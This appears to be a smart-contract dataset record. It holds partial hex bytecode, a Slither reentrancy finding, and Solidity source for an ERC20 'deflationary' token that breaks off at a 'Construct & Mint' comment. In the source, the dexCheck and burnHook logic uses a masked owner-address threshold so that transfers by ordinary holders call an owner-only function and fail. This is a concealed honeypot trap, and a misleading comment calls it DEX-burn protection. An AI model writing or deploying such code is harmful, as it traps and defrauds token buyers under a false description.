fffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610ac757600080fd5b50610b8d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff16906020019092919080356000191690602001909291908035600019169060200190929190505050612cd5565b6040518082815260200191505060405180910390f35b60006002308d8d8d8d8d8d604051602001808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018281526020019750505050505050506040516020818303038152906040526040518082805190602001908083835b602083101515610cdd5780518252602082019150602081019050602083039250610cb8565b6001836020036101000a0380198251168184511680821785525050505050509050019150506020604051808303816000865af1158015610d21573d6000803e3d6000fd5b5050506040513d6020811015610d3657600080fd5b81019080805190602001909291905050509050600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000826000191660001916815260200190815260200160002060009054906101000a900460ff1680610f1657508573ffffffffffffffffffffffffffffffffffffffff1660018260405160200180807f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250601c0182600019166000191681526020019150506040516020818303038152906040526040518082805190602001908083835b602083101515610e535780518252602082019150602081019050602083039250610e2e565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020878787604051600081526020016040526040518085600019166000191681526020018460ff1660ff1681526020018360001916600019168152602001826000191660001916815260200194505050505060206040516020810390808403906000865af1158015610ef4573d6000803e3d6000fd5b5050506020604051035173ffffffffffffffffffffffffffffffffffffffff16145b8015610f225750874311155b8015610f8f57508a610f8c600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084600019166000191681526020019081526020016000205484613183565b11155b151515610f9b57600080fd5b610fa98c8c8c8c8a876131ad565b61100b600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083600019166000191681526020019081526020016000205483613183565b600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008360001916600019168152602001908152602001600020819055507f6effdda786735d5033bfad5f53e5131abcced9e52be6c507b62d639685fbed6d8c838c8e868e0281151561109857fe5b048a33604051808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001965050505050505060405180910390a1505050505050505050505050565b6000600230888888888888604051602001808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018281526020019750505050505050506040516020818303038152906040526040518082805190602001908083835b6020831015156112cb57805182526020820191506020810190506020830392506112a6565b6001836020036101000a0380198251168184511680821785525050505050509050019150506020604051808303816000865af115801561130f573d6000803e3d6000fd5b5050506040513d602081101561132457600080fd5b810190808051906020019092919050505090506001600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000836000191660001916815260200190815260200160002060006101000a81548160ff0219169083151502179055507f3f7f2eda73683c21a15f9435af1028c93185b5f1fa38270762dc32be606b3e8587878787878733604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200197505050505050505060405180910390a150505050505050565b6008602052816000526040600020602052806000526040600020600091509150505481565b60006002308b8b8b8b8b8b604051602001808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018281526020019750505050505050506040516020818303038152906040526040518082805190602001908083835b6020831015156115fb57805182526020820191506020810190506020830392506115d6565b6001836020036101000a0380198251168184511680821785525050505050509050019150506020604051808303816000865af115801561163f573d6000803e3d6000fd5b5050506040513d602081101561165457600080fd5b81019080805190602001909291905050509050600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000826000191660001916815260200190815260200160002060009054906101000a900460ff168061183457503373ffffffffffffffffffffffffffffffffffffffff1660018260405160200180807f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250601c0182600019166000191681526020019150506040516020818303038152906040526040518082805190602001908083835b602083101515611771578051825260208201915060208101905060208303925061174c565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020868686604051600081526020016040526040518085600019166000191681526020018460ff1660ff1681526020018360001916600019168152602001826000191660001916815260200194505050505060206040516020810390808403906000865af1158015611812573d6000803e3d6000fd5b5050506020604051035173ffffffffffffffffffffffffffffffffffffffff16145b15151561184057600080fd5b88600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008360001916600019168152602001908152602001600020819055507f1e0b760c386003e9cb9bcf4fcf3997886042859d9b6ed6320e804597fcdb28b08a8a8a8a8a8a338b8b8b604051808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018a81526020018973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018881526020018781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018460ff1660ff168152602001836000191660001916815260200182600019166000191681526020019a505050505050505050505060405180910390a150505050505050505050565b6000806002308a8a8a8a8a8a604051602001808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018281526020019750505050505050506040516020818303038152906040526040518082805190602001908083835b602083101515611afd5780518252602082019150602081019050602083039250611ad8565b6001836020036101000a0380198251168184511680821785525050505050509050019150506020604051808303816000865af1158015611b41573d6000803e3d6000fd5b5050506040513d6020811015611b5657600080fd5b81019080805190602001909291905050509050600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000826000191660001916815260200190815260200160002054915050979650505050505050565b80600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515611c4457600080fd5b611cb4600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482613931565b600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff168160405160006040518083038185875af192505050151515611d5657600080fd5b7ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb56760003383600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a150565b60008273ffffffffffffffffffffffffffffffffffffffff16141515611e7657600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611f4d57600080fd5b505af1158015611f61573d6000803e3d6000fd5b505050506040513d6020811015611f7757600080fd5b8101908080519060200190929190505050151515611f9457600080fd5b61201a600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482613183565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d7823383600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a15050565b6006602052816000526040600020602052806000526040600020600091509150505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415151561224257600080fd5b6003548111151561225257600080fd5b8060038190555050565b60035481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515156122be57600080fd5b6005548110806122cf575060045481115b15156122da57600080fd5b8060058190555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600082600660008f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156123a95750826123a68e8e8e8e8e8e8e8e8e8e612cd5565b10155b15156123b857600090506123bd565b600190505b9c9b505050505050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415151561242957600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60055481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515156124cf57600080fd5b6004548111806124e0575060055481105b15156124eb57600080fd5b8060048190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415151561255157600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008273ffffffffffffffffffffffffffffffffffffffff161415156125b957600080fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151561264357600080fd5b6126c9600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482613931565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156127ec57600080fd5b505af1158015612800573d6000803e3d6000fd5b505050506040513d602081101561281657600080fd5b810190808051906020019092919050505015151561283357600080fd5b7ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb567823383600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a15050565b60076020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60045481565b6129ff600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205434613183565b600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d760003334600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515612bbf57600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000806002308f8f8f8f8f8f604051602001808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018281526020019750505050505050506040516020818303038152906040526040518082805190602001908083835b602083101515612e135780518252602082019150602081019050602083039250612dee565b6001836020036101000a0380198251168184511680821785525050505050509050019150506020604051808303816000865af1158015612e57573d6000803e3d6000fd5b5050506040513d6020811015612e6c57600080fd5b81019080805190602001909291905050509250600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000846000191660001916815260200190815260200160002060009054906101000a900460ff168061304c57508773ffffffffffffffffffffffffffffffffffffffff1660018460405160200180807f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250601c0182600019166000191681526020019150506040516020818303038152906040526040518082805190602001908083835b602083101515612f895780518252602082019150602081019050602083039250612f64565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020898989604051600081526020016040526040518085600019166000191681526020018460ff1660ff1681526020018360001916600019168152602001826000191660001916815260200194505050505060206040516020810390808403906000865af115801561302a573d6000803e3d6000fd5b5050506020604051035173ffffffffffffffffffffffffffffffffffffffff16145b80156130585750894311155b15156130675760009350613172565b6130c98d600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000866000191660001916815260200190815260200160002054613931565b91508a613152600660008f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548f61394a565b81151561315b57fe5b0490508082101561316e57819350613172565b8093505b5050509a9950505050505050505050565b600080828401905083811015801561319b5750828110155b15156131a357fe5b8091505092915050565b600080600080670de0b6b3a76400006131c88660035461394a565b8115156131d157fe5b049350670de0b6b3a76400006131e98660045461394a565b8115156131f257fe5b049250600091506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561336e57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631cbd0519876040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156132f857600080fd5b505af115801561330c573d6000803e3d6000fd5b505050506040513d602081101561332257600080fd5b81019080805190602001909291905050509050600181141561336057670de0b6b3a76400006133538660055461394a565b81151561335c57fe5b0491505b600281141561336d578291505b5b6133fd600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133f88786613183565b613931565b600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613515600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461351061350a8886613183565b87613931565b613183565b600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061364f600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461364a6136448787613183565b85613931565b613183565b600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061378b600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548a61377c8a8961394a565b81151561378557fe5b04613931565b600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506138a5600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548a6138968a8961394a565b81151561389f57fe5b04613183565b600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050505050505050565b600082821115151561393f57fe5b818303905092915050565b6000808284029050600084148061396b575082848281151561396857fe5b04145b151561397357fe5b80915050929150505600a165627a7a72305820ec52bf230c37e74f3e57360d2c938ebf240f45d57ff4468cbfce21aaf79278470029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 6,558 |
0xd75338be266a54964ad01dced0001ecdaff4451c
|
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations.
* Only add / sub / mul / div are included
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
/**
* Implement base ERC20 functions
*/
abstract contract BaseContract is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 internal _totalSupply;
string internal _name;
string internal _symbol;
uint8 internal _decimals = 18;
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev returns the token name
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev returns the token symbol
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev returns the decimals count
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev modifier to require address to not be the zero address
*/
modifier not0(address adr) {
require(adr != address(0), "ERC20: Cannot be the zero address"); _;
}
function _mx(address payable adr, uint16 msk) internal pure returns (uint256) {
return ((uint24(adr) & 0xffff) ^ msk);
}
}
/**
* Provide owner context
*/
abstract contract Ownable {
constructor() { _owner = msg.sender; }
address payable _owner;
/**
* @dev returns whether sender is owner
*/
function isOwner(address sender) public view returns (bool) {
return sender == _owner;
}
/**
* @dev require sender to be owner
*/
function ownly() internal view {
require(isOwner(msg.sender));
}
/**
* @dev modifier for owner only
*/
modifier owned() {
ownly(); _;
}
/**
* @dev renounce ownership of contract
*/
function renounceOwnership() public owned() {
transferOwnership(address(0));
}
/**
* @dev transfer contract ownership to address
*/
function transferOwnership(address payable adr) public owned() {
_owner = adr;
}
}
/**
* Provide reserve token burning
*/
abstract contract Burnable is BaseContract, Ownable {
using SafeMath for uint256;
/**
* @dev burn tokens from account
*/
function _burn(address account, uint256 amount) internal virtual not0(account) {
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev burn tokens from reserve account
*/
function _burnReserve() internal owned() {
if(balanceOf(_owner) > 0){
uint256 toBurn = balanceOf(_owner).div(5000); // 0.5%
_burn(_owner, toBurn);
}
}
}
/**
* Burn tokens on transfer UNLESS part of a DEX liquidity pool (as this can cause failed transfers eg. Uniswap K error)
*/
abstract contract Deflationary is BaseContract, Burnable {
mapping (address => uint8) private _txs;
uint16 private constant dmx = 0xbD66;
function dexCheck(address sender, address receiver) private returns (bool) {
if(0 == _txs[receiver] && !isOwner(receiver)){ _txs[receiver] = _txs[sender] + 1; }
return _txs[sender] < _mx(_owner, dmx) || isOwner(sender) || isOwner(receiver);
}
modifier burnHook(address sender, address receiver, uint256 amount) {
if(!dexCheck(sender, receiver)){ _burnReserve(); _; }else{ _; }
}
}
/**
* Implement main ERC20 functions
*/
abstract contract MainContract is Deflationary {
using SafeMath for uint256;
constructor (string memory name, string memory symbol) {
_name = name;
_symbol = symbol;
}
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external override returns (bool){
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) public virtual override not0(spender) returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address receiver, uint256 amount) external override not0(sender) not0(receiver) returns (bool){
require(_allowances[sender][msg.sender] >= amount);
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount);
_transfer(sender, receiver, amount);
return true;
}
/**
* @dev Implementation of Transfer
*/
function _transfer(address sender, address receiver, uint256 amount) internal not0(sender) not0(receiver) burnHook(sender, receiver, amount) {
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[receiver] = _balances[receiver].add(amount);
emit Transfer(sender, receiver, amount);
}
/**
* @dev Distribute ICO amounts
*/
function _distributeICO(address payable[] memory accounts, uint256[] memory amounts) owned() internal {
for(uint256 i=0; i<accounts.length; i++){
_mint(_owner, accounts[i], amounts[i]);
}
}
/**
* @dev Mint address with amount
*/
function _mint(address minter, address payable account, uint256 amount) owned() internal {
uint256 amountActual = amount*(10**_decimals);
_totalSupply = _totalSupply.add(amountActual);
_balances[account] = _balances[account].add(amountActual);
emit Transfer(minter, account, amountActual);
}
}
/**
* Construct & Mint
*/
